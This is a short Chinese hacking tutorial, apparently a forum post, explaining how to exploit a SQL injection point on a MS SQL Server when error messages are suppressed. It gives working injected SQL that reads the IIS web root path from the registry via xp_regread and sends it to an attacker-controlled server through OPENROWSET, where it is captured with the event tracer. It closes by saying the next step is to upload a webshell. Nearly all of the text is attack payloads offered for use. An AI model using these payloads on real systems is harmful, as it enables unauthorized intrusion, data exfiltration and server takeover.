渗透中用openrowset搞shell的方法
得到SQL注入点,首先想到的是BACKUP WEBSHELL,扔在NB里跑一圈,发现屏蔽了SQL错误信息,得不到物理路径,那还写个PP马了.
联想到一个权限不是很高的命令openrowset,进行跨库服务器查询,就是把一个SQL命令发送到远程数据库,然后看返回的结果,但是要启动事件跟踪!我们可以把网站信息写入数据库,然后%$^%$@#$@^%$~
首先在自己机器建立SQL数据库
然后在对方机器上建立个表 create table [dbo].[fenggou]([cha8][char](255))–
在对方执行 DECLARE @result varchar(255) exec master.dbo.xp_regread \’HKEY_LOCAL_MACHINE\’,\’SYSTEM\\CONTROLSet001\\Services\\W3SVC\\Parameters\\Virtual Roots\’, \’/\’ ,@result output insert into fenggou (cha8) values(\’select a.* FROM OPENROWSET(\’\’SQLOLEDB\’\’,\’\’自己的IP\’\’;\’\’sa\’\’;\’\’你的密码\’\’, \’\’select * FROM pubs.dbo.authors where au_fname=\’\’\’\’\’ + @result + \’\’\’\’\’\’\’)AS a\’);–
这样fenggou这个表里就会有这样一条记录select a.* FROM OPENROWSET(\’SQLOLEDB\’,\’自己的IP\’;\’sa\’;\’你的密码\’, \’select * FROM pubs.dbo.authors where au_fname=\’\’D:\\WEB,,1\’\’\’)AS a
不用说,\’\’D:\\WEB\”就是从注册表里读出的物理路径拉.然后执行DECLARE @a1 char(255) set @a1=(select cha8 FROM fenggou) exec (@a1);–
等于执行了select a.* FROM OPENROWSET(\’SQLOLEDB\’,\’自己的IP\’;\’sa\’;\’你的密码\’, \’select * FROM pubs.dbo.authors where au_fname=\’\’D:\\WEB,,1\’\’\’)AS a
OK,这时你在你机器上SQL事件追踪器上就会显示select * FROM pubs.dbo.authors where au_fname=\’D:\\WEB,,1\’
哇 哈哈哈哈哈 物理路径到手了 写小马传大马吧~
没有回复内容